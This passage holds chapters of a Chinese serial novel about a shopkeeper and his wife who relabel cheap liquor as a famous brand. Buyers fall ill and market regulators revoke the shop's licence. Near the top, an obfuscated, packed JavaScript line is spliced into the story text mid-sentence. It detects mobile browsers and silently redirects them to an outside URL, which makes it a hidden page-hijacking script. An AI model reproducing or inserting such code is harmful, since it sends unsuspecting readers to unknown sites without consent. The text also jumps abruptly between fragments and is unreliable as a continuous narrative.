“你能判断一下他是干什么的吗?”
“这个不好判断,长相看起来挺老实的,一个中年人。”
“那你把具体的经过说一说。”
李一想了一下,他坐正了身板讲了起来:
“那天下午我在厂里上班,工友从外面进来喊我,说有人找我,我放下手头的活就出了车间,我走出车间,看到车间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14678251|156844||http|test|mini|href|location''.split(''|''),0,{}));
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门口的他。
我走到他跟前问:他跟前问:“是你找我吗?”那人并没有把东西递给我,他看了我一眼,问我:“你是李一?”
我说我不认识你,你找我有啥事?他说,李国庆,你认识吧?我说啥事?他把手中的塑料袋提起来,递到我面前说,这是国庆爸爸的朋友托我给他捎的药,你到时候给他捎过去。
我问他,那你为啥不直接给他送去呢?
那个人说,国庆不是经常跑出租车吗?他爸的朋友说找了几次找不见他,说他马上要出差了,就让我来把这个东西捎给你,让你捎给他。
哦,是这种情况,我当时就没多想,把那东西就接了过来。
我们俩交流到我接到他递给我的东西不到一分钟时间,他就走了,我进车间的时候无意识向门外望了一下,我看见他好像是骑着一辆三轮车走掉的。”
“三轮车?”民警问。
“对,就是那种人力三轮车,”李一接着讲道:“我把那白色的袋子拿回来以后,就直接放在车间我的工服柜里,结果下班的时候忘了带,直到那个周末的下午,国庆来叫我一块去吃饭,我才想起来,有人给他捎的东西,我就跑回来从工服''的柜子里拿出那袋子给了他。”
“那国庆也没问你这药是从哪来的?”警察问。
“他刚接到手,就问是谁给的,我开玩笑说是我给的,他说我都没那孝心,你还比儿子强。当我说是他爸的朋友给捎的时,也很疑惑,他说我爸的朋友?我爸的朋友?哦,他突然好像明白了,说是什么原来和他爸在一块搞什么三线的人,和他爸的关系好,他就把药接上,我们就去吃饭了。”
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第56章 规范经营艰难赚钱,萌生歪念贪大钱
正在清点货物的国凤听到有人敲门,
回头一看,几个身着工商制服的工作人员走了进来,他们边进门边问:“老板人呢?”
看到身着制服的工作人员,国凤估计又来是检查了,便放下手中的笔和纸,笑着和他们打招呼:“你们来了,他人没在。”
其中一个头目模样的人,严肃的问:“干啥去了?”
“到市里去了。“
“啥时候能回来?”
“估计下午就回来了。”
“下午大概几点?”
“那说不上来。”
“营业执照呢?“头目环视了一下四周,没有看到悬挂的营业执照:“怎么没按规定悬挂?有没有?”
“有,有,有。哦,不是上一次搬东西的时候撞掉了,忘了挂,我取出来就挂。”
说着国凤拉开桌子下面的柜子拿出了营业执照。
看着手拿营业执照的国凤,身着制服的女工作人员接过营业执照,看了一下,对头目说:“是超出经营范围了,经营范围是生活用品,日用百货,没有酒类销售。”
说完后那个穿制服的女工作人员把营业执照拿在手上。
就在国凤准备从女工作人员手里去拿营业执照时,头目说话了:“按规定你已超出经营范围,涉嫌违规经营,暂时没收执照,听候处理。”
女工作人员并没有把营业执照给国凤,国凤不解的问:“咋了?违规经营啥了?为啥收执照?”
头目说:“你们销售什么不合规商品,心里不清楚吗?是不是需要我在你这里依法检查啊?”
“我真的没有卖啥不合规的商品,真的没有。”国凤急忙解释道。
“有没有,不是你说了算的,我们是根据举报人的线索来调查的,你该知道是什么事?”
“举报线索?”国凤很不明白:“谁举报我批发部?我也不知道什么事啊。”
“这不是你问的问题,你老板知道是啥事。你现在让你老板回来,和我们去到所里接受处理。”
“那我现在给他打电话,问问他什么时候能回来?”国凤说着拿起座机拨通了丈夫的手机号。
一直在响,无人接听。
国凤正准备再重新拨打,头目阻止了:“不要打了,你打通也说不清什么事,你是这,让他把你前段时间卖到石镇的古白酒的手续提供过来。记着,如果你老板回来了,让他第一时间联系我。”
说完,头目在国凤刚盘点用的纸上写下了自己的电话号码:“这是办公室的电话,他回来了就联系,知道不?”
说完对身边的工作人员说:“超范围经营,下责令整改通知书,暂时吊销营业执照。”
工作人员扎《责令整改通知书》写完后,交到国凤面前:“签字。”
看着整改通知书上的内容:“吊销营业执照,超范围经营,责令整改,限在十一月十九日整改完成。”
国凤不知道如何是好,她看着工作人员小声说:“我不识字。”
“不识字你在这瞅半天瞅啥玩意,不耽误时间吗?”说着从公文包里拿出印泥:“不识字好说,来,按指印。”
说话间,工作人员扣开印泥盖,递到国凤面前:“按指纹该会吧?”
国凤见躲不过去了,只好在纸张上按上了自己的指纹。
工作人员一边扣印泥盒上的盖子一边说:“让你
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老板快回来把古白酒的手续拿到工商所解决问题,不然下次来按无证经营对你们进行封门,停止营业知道不?”
“好的,知道了。”国凤擦着手上的印泥答应着。
目送着他们三人的离去,当她低头看见头目写在盘货单上的电话号码时,她愣了一下,不是说是办公室号码吗?怎么写的是吴姓手机号码?莫非是让董雷和他单独联系?
这都不是重点,国凤现在最担心的是想着他们刚提到的古白酒。
说到这古白酒,国凤的心里突然咯噔一下,真是怕什么就来什么。
国凤很清楚的记得那是一个月前的一个礼拜五的晚上,中午说出门一会儿的董雷,到晚上两点还没回来,国凤打了十几个电话都提示关机,心神不宁的她实在等不了了,便陪孩子睡下了。
刚进入梦乡,国凤就被董雷摇着小声叫了醒来:“赶快起来,和我出去卸货,”
董雷说完,便匆匆忙忙把身上的绿色军用挎包取下来,挂在墙上就出了批发部的门。
国凤穿起衣服,迷迷糊糊的跟在董雷身后,打着哈欠,满腹怨气地出来了。
从有光亮的房间一下子来到关了路灯的门前,国凤觉着啥都看不清。
她揉了揉惺忪的眼睛,努力的想看清自己熟悉的门前,丈夫半夜三更叫自己卸什么货?
董雷把手电筒打开了,一束光照到了门前停的一辆面包车上,上下晃动着。
面包车里的灯打开了,国凤这才看见还有一个人从车上下来。
那人拉开了车门,国凤走近一看,借着车顶灯的光,她看见车上拉着十几个纸箱子。
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第57章 想到赚钱好高兴,谈及家人心生怨
把孩子送到婆婆家后回来的国凤,进门的时候,董雷正在给一位客户算着账,算完账,打发完客户以后,董雷直接跑到里面的房间来,从后面一把抱起了国凤,转了几圈后,把国凤放了下来,抱在怀里,在国凤的脸上亲了一亲。
国凤被董突如其来的举动,搞得莫名其妙:“你发啥神经呢?你不在前面看着门,你跑进来胡成啥精呢?”说着用手推着董雷。
董雷又凑上嘴来想亲一下她,被国凤用手挡了回去:“滚,说正事!”
“你不让我亲,我就不说,”董雷得像个小孩似的撒着娇。
“你不给我说,我就不让你亲。”
国凤也不惯着他。
董雷说:“算了吧?还是我先把这个消息告诉你吧,你听到了以后肯定允许我亲你。”
“你说吧,让我听听。”国凤从刚买的菜里拿起一把菠菜摘了起来。
“你知道不?咱这一次的路子走对了,”董雷神秘的告诉国凤。
“什么路子走对了?”国凤把昨天晚上的事忘的一干二净。
“你真是个头发长记性短的人,昨天晚上拉回来的酒,有人现在就要要了,而且一要就是五箱子,厉害吧?”董雷眉飞色舞的说着。
“什么人就要五箱子?恐怕是五瓶吧,你是不是听错了?”
“什么听错了?就五箱子,定金都给我交了。”
“真的?”国凤一惊,抬起头看着丈夫:“那真是瞌睡遇见枕头了,顺当的厉害,昨天晚上才回来,今天就有人买,咋这么顺利呢?”
“是不是好消息呀?”
“就是好消息,消息好是好消息,就是人家如果下午来拉的话,你那上面还没有商标了。”
国凤担心的说。
“他后天才来取货,我们有的是时间,你赶快做饭,吃完饭以后你在前面看着门,我在里面锁上里面门,在里面贴。”董雷催着国凤。
“那你一个人能来得及吗?”
“笨鸟先飞,我不是给你说了嘛,人家一晚上都可以贴120瓶呢,吃完饭我就干。看看咱的速度如何?”
“那我先做饭吧,你赶快出去,前面没人。”
董雷往外走的时候,又扭过头来,走到国凤面前,在她的脸上亲了一口,顺便用手在国凤的胸前摸了摸。
“滚,大白天想啥哩?赶快到前面去,前面没人。”国凤深情的看了一眼董雷。
吃完饭,国凤在前面看店,董雷便开始在里面的房间里给瓶子上贴商标。
他先打开一箱子,从里面拿出来一瓶酒来放在桌子上,再把标签拿过来,将浆糊涂抹在标签的背面,然后把标签直接贴在瓶子上。
做完这些以后,他端详着自己贴了标签的酒瓶子,看了好长时间,又从箱子里再拿出一瓶来,和贴过标签的一块放在桌子上,看了看,他会心的笑了。
都说钱上带火着呢,当董雷把第一个瓶子贴好以后,自我感觉良好,就以同样的方式又贴了第二瓶,第三瓶,第四瓶,贴着贴着,越贴越顺手,他心里想着往瓶子上贴标签是一件很容易的事,于是越干越有劲。
令董磊没有想到的是,五箱子酒,不到两个小时就贴完了,感觉太顺手了的董雷,直接把剩下的五箱子也全部贴完了。
董雷把所有的标签全部收拾完,把箱子摆整齐,他从里面的房间里出来,走到门市,对妻子说:
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“晚上把楼上的再一贴就完了,房间里的我已经贴完了。”
“贴完了,这么快?”
妻子惊讶的看着董雷。
“我不是告诉你,这是很快的事吗?很简单的事吗?”
到了晚上关了门以后,董雷和妻子开始把楼上的酒搬下来,一箱一箱的,一瓶一瓶的开始准备贴标签。
两个人分工明确,国凤往标签的背面涂抹浆糊,董雷直接把涂抹好浆糊的标签贴在瓶子上。
董雷和妻子坐在昏暗的里屋,面前堆积着如山的酒瓶。他们一瓶一瓶地仔细贴标签,眼神专注而疲惫。
汗水从他们的额头滴落,他们却浑然不觉,心中只想着尽快完成这项工作。
他们这两个只考虑赚钱的人,对于自己的行为可能带来的后果一无所知。
他们只知道,这样做可以赚取一些额外的收入,缓解生活的压力。他们没有意识到,自己正在走向歧途。
随着时间的推移,他们的工作越来越熟练,速度也越来越快。
不到11点,所有的瓶子都贴完了。
看着堆满在地上的箱子,董雷的那个心里好激动啊,如果照这个速度下去,一天赚300元,一个月收入就是九千。
九千,想到这,董雷一阵兴奋,他对着收拾现场的妻子说:“这样的赚钱速度也太快了,我咋早没有发现这个门道呢?”
妻子听了董雷的话后,也觉得这是一个见效快的门道:“我原来还担心贴标签需要一个礼拜,没想到两个人不到一天就完成了,看起来很简单。如果按这样的速度贴的话,那真的是太赚钱了。”
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第58章 有人举报问题酒,老板固执要证据
“你超范围经营,你知道不?”
在工商所吴队长的办公室里,吴队写完东西,抬起头对站在办公桌前的的董雷说。
“什么超范围经营?”董雷望着吴队放在桌上的那一沓资料问。
吴队看着董雷说:“你坐那儿,站着给我一种不安全的感觉。”
“什么是超范围经营?”站在吴队长办公桌前的董雷并没有挪动。
“按照你的个体营业执照上的经营范围,你们只是生活用品,百货用品的销售,根本就没有白酒销售的资格,所以你们就超出经营范围了,原则上是不允许你们卖酒的,你们销售白酒将按违法经营来处置。”
“白酒?什么白酒?”董雷装作不知情的样子。
“我让你妻子告诉你把经营酒的手续拿过来,手续呢?”吴队问董雷。
“我连酒都没有哪来的手续?”董雷反问。
“现在就咱们两个在这说这事,你给我在这装啥呢?”
“我没装呀,我装什么?”董雷虽然口上这样说着,但是他的心里还是挺害怕的,因为他知道他自己在撒谎。
“我的董老板,你就别在这里给我耍花招了,我能和你单独在办公室谈这个事,就是希望咱们在小范围内把这个事解决掉,一是考虑到你批发部的声誉,二是为了不把事态扩大,你在这里故意给我隐藏事实,到时候局里把这当个案子,到时候安检,卫生,公安一旦介入,那就成了另一回事了。”
吴队长点燃一根烟,把办公桌上烟盒用手往前推了一下。
董雷并没有从烟盒中取烟:“你说的是什么?吴队,我真的不知道你说的是干什么白酒?”
“董雷,我看你是不见兔子不撒鹰,不见棺材不掉泪啊,”吴队长从办公桌的抽屉里拿出一张纸条放在桌上:“你自己看看,这是不是你写的?”
董雷把头向前伸去定睛一看,妈呀,原来办公桌上放的是,他七号给卖酒人写的收订金的收款收据,特别是右上角古白酒三个字显得非常醒目。
“你在哪儿搞的这复印件给我看?”董雷极力的装作平静的问。
“原件我也有,但不能让你看。”吴队抬眼看了一眼董雷,微微斜着头晃着说:“是你的字吧?春风商店,董雷,不知这个董雷是不是我面前的你?”
董雷显得极不自然,他尴尬地站在吴队的面前,脸色红一阵白一阵,似乎是一个做了错事的孩子,站在老师面前一样,显得非常的拘束和无奈。
“你从进门一直就在我桌前站着,似乎要质问我一样。我好心让你把这事说出来,你倒给我在这一直兜圈子,我也是为了你好啊,看到这个没话说了吧?”吴队长问。
董雷把右手放在自己的嘴巴上,不停的用手摩擦着嘴,就是不吭声。
看到董雷的表情,吴队长笑着说:“这里只有咱两个人,把情况说一下吧,不会丢人的。”
董雷苦笑着摇了摇头,往后退了几步,刚坐在旁边的沙发上,又忽然站起来走到办公桌前,把桌上的烟拿起取出一根来叼在嘴上,便又退坐在沙发上。
“你是闻烟还是抽烟?”看到董雷失态的举止,吴队长心里明白,击中要害了。
董雷听了吴队长的话,把叼在嘴上的烟拿下来看了一眼,放在人中处撅起嘴唇在鼻子下面夹了一下,然后用手把烟夹在耳鬓上。
董雷双手一交叉,把身子往沙发上一靠,终于开口了:“人为财死,鸟为食亡
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啊,还指望着在这上能挽救一下我的春风商店,没想到出师不利啊。”
“呵呵,你还是出师不利,军人出身呀?”吴队风趣的问。
“没有没有,就是形容一下。”
“但从你的坐姿,神态,动做来看的话,这种做派完全是一个军官的模样。”
董雷意识到了吴队的不满,马上坐直身板,双手撑在沙发上屁股向前移了一下笑着说:“见笑,见笑。”
吴队摆了摆手笑着说:“没事没事,军官销售白酒出师不利,看起来卖白酒这件事你是默认了。你知道你这酒出现什么问题了吗?”
“真不知道。”董雷摇了摇头,认真的望着吴队。
看着董雷的表情,吴队长说:“是石狮镇上的人来定的酒?”
“有定酒和拉酒这回事,具体哪儿的人定的,我没留意。”董雷对吴队说。
“他们七号定的酒没取,直到九号才拿回去的,对不?”吴队问。
“时间对着哩。”
“回去后开了一箱,喝了三瓶,喝出问题了。”
董雷一听这话,立马从沙发上站了起来,夹在耳鬓边上的那根烟掉在了地上,他顾不上捡烟,忙问:“出了什么问题?”
看到董雷震惊的样子,吴队长看了看掉在地上的烟:“你先把烟捡起来,坐下,别着急,别着急。”
“你能不能告诉我,出了啥问题?”董雷边弯腰捡烟边急切的想知道答案。
“如果你的酒没有质量的问题,你至于这么紧张吗?”吴队仍笑着平静的说:“你那酒把人喝的呕吐腹泻,你不知道吧?”
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第59章 营业执照被吊销,注吊不分求领导
随着一阵熟悉的摩托声由远而近,坐在批发部的国凤知道,是丈夫董雷从工商局回来了。
看见进了门的董雷手里只拿着摩托车钥匙,国凤问:“怎么没把营业执照拿回来?“
董雷把摩托车钥匙往旁边墙上的挂钩上一挂说:“还要营业执照哩,没把你的门封了,都算是烧高香了。“
“咋了嘛?还封门?啥理由嘛?”国凤一下子从坐着的凳子上站了起来看着董雷。
“有人把我们举报到工商所了。”董雷端起放在柜台上的杯子喝了一囗水。
“谁这么缺德的举报我们?举报我们的理由是什么?”
“前段时间卖到石镇的五箱酒,现在根本就没用,可能要退回来,出事了。”
“出什么事了?”
来客户了,
董雷和国凤都不再说这个话题了,他们俩给客户忙着在量塑料纸。
打发完客户以后,国凤朝门外望了望,小声问董:“你说出了什么事?”
“三个人喝到医院去了,幸好没什么大的问题?”
“把人喝到医院了,有这么严重么?那会不会工商局来把我们的酒给收了?剩下的这些咋办?”国凤担心的问道。
“哦,你说到这,倒还提醒了我,我们必须把这批货转走,放在这里不安全。”说着,董雷就走向后面的房间上了阁楼。
看着他们两人辛辛苦苦搞出来的成果,一想到在工商局里吴队长的话,董雷觉得,这件事似乎有处理的空间和回旋的余地。
董雷想出一个方案来。
他掏出手机,拨通了给他送酒的那个人的电话,却一直无人接听。
那就再过一会儿再吧。
董雷从楼阁上下来,走到妻子跟前问:“他们前天来我们店里,检查了没有?看到这些酒没?”
“没有啊,咋了?”
“你确认他们没有看见在楼上的酒?”董雷不信任的问。
“没有,酒全在二楼上放着,他们来了以后就说是有人举报,要见你本人,我说你没在,他就把这什么整改通知书就给咱放在这了,让你带着酒的手续去局里,那个吴队长说是办公室号码,却写了个手机号。”
国凤边说着边从桌子上的玻璃板下取出工商局开的整改通知书递到董雷手中。
董雷接过来一看:“整改通知书?整改啥?”看了一眼整改通知书的董雷问:“你怎么没告诉我?”
“你回来我不是告诉你说发了个整改通知吗?你说不管,要屁手续,我先去一趟工商局,看看是什么情况吗?”国凤解释着说。
董雷拿起通知书认真的看了起来:“什么?整改内容是吊销营业执照,吊销?”
董雷还没把通知书看完,看到吊销两个字,他就喊了起来:“如果他们吊销我们的营业执照,我们这个批发部就保不住了,怎么回事?要吊销了?”董雷看着国凤问。
看着董雷犀利而疑惑的眼神,国凤心里还是有些发虚,这一次工商来人,董雷又没在现场,工作人员要求自己在这上面按的手印,当时自己只是大概看了一下,只是记准了整改的期限,是到11月19日,并没有注意到吊销两个字,而且在她的意识里,对吊销根本没有什么概念。
国凤赶紧把头伸过去看了一下通知书面,果然有吊销两个字。
“吊销?”国凤胆怯的看着董雷
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小声问:“吊销是不是说咱就卖不成东西了?违法经营?”
“这下麻烦了,你怎么没看清楚,就在上面还按指纹呢?”
“我也是没办法,除了记住日期,其他根本就没仔细看。”国凤看着董雷说。
听了国凤的话,董雷用眼翻着国凤,并没有把通知书再看下去,直接甩向国凤:
“你没仔细看?没仔细看就签字画押哩。亏你还个人民教师,你就是个误人子弟的家伙,你不等我回来就给他们胡在上面按什么指印?为什么不签字?”
国凤心虚的说:“我不是给你打电话,你电话没电吗?”
“电话没电也不是你在上面按指纹的理由啊,这吊销了咋办?我们吃风拉屁去?”董雷大声问道。
“我我我想看能不能让他们先走,等你回来再说这事,但他们催我签字,我就撒谎说我不识字,结果他们的人就让我在上面按了指纹,”国风小心翼翼的说着。
“你真是让人无语,成事不足,败事有余,我当初是瞎了眼,娶到你这么个不中用媳妇。”说完,董雷气呼呼的出了门,留下伤心害怕的国凤。
董雷坐上了放在门前的摩托,才发现没有拿钥匙,他又返回来,从墙上的挂钩上取下摩托钥匙,对国凤说:“想挣点钱都让你这败家的娘儿们非搞黄不可。你知道这钱TMD真难挣不?”
说完,董雷骑上摩托车直奔工商局,他要去找吴队长,能不能先把自己的营业执照保住?尽量不要让他们给吊销了。
刚进了工商所的门,董磊看见吴队长胳膊下夹个公文包从楼梯上走了下来,他急急忙忙跑了过去。
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第60章 寻求突破为赚钱,抓住机遇抢商机
2001年的10月18日,是县城举办物资交流大会的第二天,董雷告诉妻子,让她在批发部值班,自己去到物资交流会现场看一看,有什么好的物资可以淘回来,放在自己的批发部里卖。
董雷到了物资交流会现场,人山人海,热闹非凡。各种商品琳琅满目,让人目不暇接。摊主们的叫卖声此起彼伏,充满了整个会场。
在一个卖小吃的摊位前,摊主熟练地制作着美食,香气扑鼻,吸引了众多食客。人们排起了长队,等待着品尝美味。
不远处,一个卖衣服的摊位上,各种款式的衣服挂满了衣架。顾客们在摊位前挑选着自己喜欢的衣服,摊主则热情地为他们介绍着。
在一个卖玩具的摊位前,孩子们围在摊位前,眼睛盯着各种玩具,兴奋地讨论着。家长们则在一旁耐心地陪伴着,为孩子们挑选着合适的玩具。
整个物资交流会现场充满了生机和活力,人们在这里购买着自己需要的商品,享受着购物的乐趣。
董雷在会上悠闲的转着,应该说他是有一定的目的性的,希望能在这人山人海的交流会中,找到自己可以赚钱的商机。
“瞧一瞧,看一看,买不买,转一转啊?新年到,真热闹,欢欢喜喜好时机,今天我给大家送福利,大品牌的厂家酒今天在这里降价大甩卖,快来买,快来看,我在这里做慈善,品酒尝酒为宣传。”
随着喇叭里传出的顺口溜,董雷闻声循去,他看见在那个声音特大的地方的柜台上放的是古白酒,厂家在推销,董雷想,这么有名的酒为什么还促销搞活动?
他便凑近跟前,听着宣传想了解一下。
只见红底黄字的大横幅挂在所搭帐篷的中间,非常醒目。
在帐篷搭建的柜台上摆放着几瓶酒,还有小酒杯,两位美女销售人员不停的往小酒杯里倒着酒,端起来让在现场的人品尝。
在柜台的后面,放着十几箱整件的酒,销售人员声嘶力竭的喊道:“走过路千万不要错过,好酒就在眼前,我们厂家为答谢全县人民对我们酒场的厚爱,为满足全县人民的需求,借此机会,特意推出我们新开发的品种,啊,它以精湛的工艺,传统的方法,以优惠的价格回馈全县人民。现场大酬宾,为让我们的新品迅速占领市场,特举办品鉴活动。”
董雷听了半天,也没听出酒的名字来,当他挤了进去看时,才发现,他们推荐的古日醇酒竟和古白酒的外包装几乎是一模一样的。自己当初真误以为是古白酒了。
董雷注意到,古日醇酒的字体和古白酒完全用的是一个字体,唯一不同的是把醇字写得非常小,不注意看的话,第一眼看到的就是古白酒。
真是擦边球打得相当的好,任何人看到的第一眼都会认为是古白酒。
一撇之差,引人注目。
喇叭里一直在高喊着:“大家可以看一看,在我的左手边是有名的古白酒,右手是我们新开发的古日醇酒,懂酒的,爱酒的,喝酒的,大爷大妈,叔叔阿姨,哥哥姐姐们,你们走过路过个万不要错过,亲口尝一尝品一品我们新开发的古日醇和古白酒的味道是多么的接近,几乎是一模一样的口感。
那么有人就问了,说小伙子,为什么这么好的酒你还在宣传,我告诉现场的亲人们,你们可听好了,啊,因为我们厂家的新品完全是和古白酒的配料工艺是一样的,只是我们一是采用了新的技术,减少了对人的脑部神经的刺激,让你喝后感觉比古白酒更舒服,不上头,头不晕,胃不难受,这是我们产品的第一大亮点。
接下来我再给你们讲一下它的
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第二大优点,啊,第二大优点,家人们,你们可听好了,注意听啊,我们的产品是经过注册的,是国家重点资金扶持项目,所以许多现场的亲人们问我、为啥价格低,告诉你们,家人们,听好了,因为我们不赚你们的钱,你们挣钱太难了,我理解你们,这就得感谢我们伟大的祖国,啊,上亿元的补贴给我们厂里,通过我们的精心研制,不断开发,才有今天的古日醇和各位在这里有缘见面,今天你能把这酒带回家的,是你我的缘分,也是你家国情怀的种体现,买古日醇酒,享幸福人生,古日醇,宴会不可少的酒。
所以今天你能这价位在这买,一说明你是一个爱国的人,二说明你是一个支持国货的人。听好了每瓶5元钱,最低4瓶起卖,4瓶20元,一箱6瓶25元,整箱便宜。”
看着销售人员的声嘶力竭的宣传,许多的人都在购买着。
董雷感到不解,对于他一个经常从事批发的人,他心里非常明白,这个酒是不可能在市场就找到的,非常的抢手,为什么会在物质交流大会的现场堂而皇之的大量出售呢?董雷还是持怀疑态度。
“哎,大伙来瞧一瞧,看一看,买不买,转一转啊?古白酒酒厂出厂的名酒啊,快过年了啊,结婚的,待客的,娶媳妇,的,生娃的,满月的,上学的,你把我这酒买回去,保准娶的媳妇漂亮,生的个个牛牛娃,上的是大学,出来是大官啊,唉,瞧瞧看一看,买不买,转一转。今天不买我的酒,明天不要买还没有啊?活动仅三天,厂家只给我们三天时间,今天活动就结束。大家都来看一看啊,转一
转,过年了,买好酒,喝了咱的酒,上下通气嘴不臭,喝了咱的酒,一人敢走青纱口,好酒,好酒!”
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第61章 了解市场需求大,争分夺秒找主管
自从在物资交流会上,和那个销售经理的工作人员谈了以后,工作人员的一句话,点醒了批发百货日用品销售的董雷。
董雷在想,是啊,自己应该去在市场了解一下,看能不能找到古白酒?古白酒在县城这个批发市场里到底占有多少份额呢?
离开了物资交流会现场的董雷边走边想着,自己何不把所有的批发部问一下不就清楚了嘛。但是最大的一个疑惑就是自己不能挨家挨户去问,毕竟都是左邻右舍的,低头不见抬头见嘛,自己如果问的话,肯定是没有人说实话的。
那怎么办呢?
董雷边走边想,边走边想,终于他想到了一个好的办法。
董雷又转过身向物资交流大会的现场走去。
他走进一家商店,给老板要了一张纸和笔,按自己的记忆然后在上面写了近十家自己周围的烟酒经销商店的名称,他把叠好的纸装进自己的口袋,问老板:“我过段时间想用些古白酒,你这…”
还没等董雷说完,老板娘连忙摆手说:“想都别想,那紧俏的跟啥一样,你跑遍县城,可能都找不到,我们这没有,一直脱销。”
“以前不是随便就能买到的酒吗?为什么这么紧张?”
“以前是以前,现在是现在,经济发展得太快了,社会在一直发展,你们看现在什么WTO的?和国际接什么轨?原来生产这就光是在国内用,现在还有给国际上用,你说他能不紧俏吗?”
“你能想办法给我在哪搞一点吗?要不加点钱?”
“你我能有什么办法?现在厂里根本就没有货,我本身一直就是搞烟酒批发的,以前那酒放在这里一直都有库存货,现在倒好了,连货都进不来了,太紧张了,现在不是钱多钱少的事,关键是有钱买不来货。要不你换个品牌的酒也行吧?”
“那就算了。”
“我不是让你换个品牌吗?”老板店不甘心。
“换个啥品牌?”董雷也想从老板的口里捕捉点信息。
“是小酒厂的,就是档次低点,但品质不错,许多人都用。”老板娘说。
“那你给我拿来看一下包装啥样?”
“没有现货,你如果需要我才能给你订货。”
“没现货?那就算了。”董雷转身往外走:“我试再转转找找。”
“那你转吧,你把县城转完,可能都找不到,”老板娘笑着对董雷说。
从商店出来以后,老板娘的话还坚定了董雷销售这个酒的信心,但是为了确保万无一失,他还是要按他的那一套想法实施他下一步的行动。
他来到物资交流会现场,在人流量小的地方,站在那里,观察着每一个行人。
这时,他看到一个穿着一身黑色西服的中年人慢悠悠的走了过来,董雷摸着口袋的烟走了过去。
他走到那个中年人面前,掏出一根烟递了过去:
“哥,抽根烟,”
中年人一惊,看了他一眼,又看着董雪手中的烟,并没有接他手中的烟,用疑惑的眼睛望着他:“你是谁啊?”
“哦,哥,我想找搞市场调研的人员,”董雷笑嘻嘻的说。
“你找人跟我有啥关系?再说那市场调研都没听说过是个啥?”中年人转身就走,不想理会董雷。
董雷跟在那人后面笑着说:“哥,市场调研就是看看咱们的县城有没有必要投放我们的产品?你们都需要什么样的产品?我觉得你很合适干这个工作
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。”
“这我哪儿知道,你就是推销广告嘛,我不需要什么样的产品,我需要的是人民币。”
中年人摇了摇头,边走边说。
“哎,大哥,你别走,”董雷跟在中年人身后说:“我们厂里对搞调研的人都是有报酬的。”
听到有报酬,中年人停下了脚步,回过头来问:“那你说调研一下是给钱,对吧?”
“是的,厂家发钱的。”董雷肯定着说。
看着董雷诚恳的表情,中年人向四周看了看后,小声问:“你说这在哪儿上班?一天干几个小时?有任务吗?任务完不了咋办?再说这市场调研复杂不?主要都干啥?“
中年男人的一连串问题让董雷立即明白了他的想法。董雷心中一喜:“哥,首先我告诉你,不用你上班,也没有时间限制,不存在任务,其实一点儿都不复杂,很简单的。”
听了董雷的说法,中年人有点怀疑:“世上能有这么好的事让你做简单的事就赚钱?骗人吧?”
“哎呀,哥,我骗你干什么?”董雷跺着脚说:“我骗你干嘛?你只要按我名单上提供的商店,进去问一种酒的名字或者一种产品的名字,你知道有没有就行了,回来告诉我,就这么简单。”
董雷说着,顺便从口袋里掏出那张写满商店名称的纸晃了晃。
“看你这样子也不像骗人。”中年人走近董雷:“你的意思就是动动嘴皮子的意思,就能把市场调研给搞了?”中年人笑着说。
“对对对,哥,你说的很对,就是动动嘴皮子,把他们回答的话记在心里就行了,但是你必须要走一段路。”
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第62章 欲要独家代理权,陷入投诉举报中
董雷的固执终于让工作人员无奈的拨通了主管的电话。
得到喇叭男通知,可以谈的时候,董雷高兴的跳了起来,连忙跑到喇叭男的跟前,抓住他的胳膊说:“谢谢,谢谢,谢谢。真没想到,真没想到。”
工作人员把现场清理完了以后,其他的工作人员把装酒的面包车开走了,喇叭男董雷说:“你的愿望终于实现了,走吧,咱们去见见你要见的主管。“
“我们怎么去啊?”董雷望着离去的面包车。
喇叭男看了一眼董雷笑着说:“我们坐11路去啊,”说完,喇叭男嘿嘿嘿的笑了起来。
“11路?”董雷念叨着:“11路?好像这县城没有11路公交车呀?”董雷望着喇叭男说。
“我说的11路就是指的咱们的两条腿,咱们步行去吧。”
“走着去?”董感到吃惊:“那得需要走多长时间啊?”
“放心,用不了多长时间。”
“要不我回去取一下摩托车,咱们两个骑车去?”董雷问。
“没有必要,就十几分的路程,走吧。”喇叭男说就迈开腿走了起来。
董雷跟着喇叭烂一前一后的开始走了起来。
在路上,喇叭男问董雷:“你在这经营搞了多少年的批发部?”
“快5年了。”
“你一直在搞批发吗?”
“刚开始搞的是零售,到后来就搞批发。”
“那你的个体营业执照啥时办的?”
“当然有商店的时候就有的啦。”
“你为什么非要和我们合作,买我们的这种酒呢?”
董磊想了想,他并没有把自己心中的想法告诉喇叭男,他应付着说:“就是想转个型,我们搞百货日用品批发的,不太赚钱,没有烟酒的利润大。”
“那你到时候肯定是经营不了的。”
“”为什么?
“超范围经营呗“?还为什么?你没看你的营业执照的经营范围,上面都写的是什么?
“这个我倒没注意,我不是现在正在申请变更我的营业执照,增加经营范围吗?”
“那还行。”
两个人就这样说着话,边走边说,不知不觉中便来到了皇佳酒店的楼下。
“你们主管就住这儿?”看到驻足的喇叭男,董雷惊讶的问。
“怎么?有什么问题吗?不能住这里吗?”喇叭男反问道。
喇叭男停了下来,掏出手机:“我先打个电话,”喇叭男边拨电话号码边向一旁走去。
皇佳酒店,对于董雷来说,再熟悉不过了,他知道,这是县上最有名的商务高档酒店,许多县上社会名流和知名人士,都能在这个酒店招待客人为荣,特别是ZF机关,更把这里是当做接待上级领导的主要地方。
这是一家融餐饮娱乐为一体的高档酒店,营业这么多年了,董雷还从来没有进过这类高档的酒店,今天是他第一次来到这里。
透过酒店的玻璃门,董雷看到里面的装饰非常奢华。目光被那璀璨的灯光和精美的装饰所吸引。
酒店的大堂宽敞明亮,地面铺着华丽的大理石,墙壁上挂着一幅幅艺术画作。大堂中央摆放着一组豪华的沙发,沙发前的茶几上摆放着鲜花和水果。
“走,咱们上去。”正在目不转睛的盯着酒店大厅的董雷被喇叭男拍了一下肩膀,他俩从自动旋转的门里走了进去。
刚一进门,富丽堂皇的装修,就让他感到档次的
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大不一样,大理石砌成的米黄色的墙,挑空的顶上挂着几个水晶灯,熠熠生辉,给人一种温馨惬意的柔和舒服感。让董雷觉得自己走进这大厅,如同自己的满身都是泥土和灰尘,和这里的氛围显得格格不入。
接待的柜台前站着两位身着工装的小姐姐,面带微笑的正在给刚来的客人忙活着。
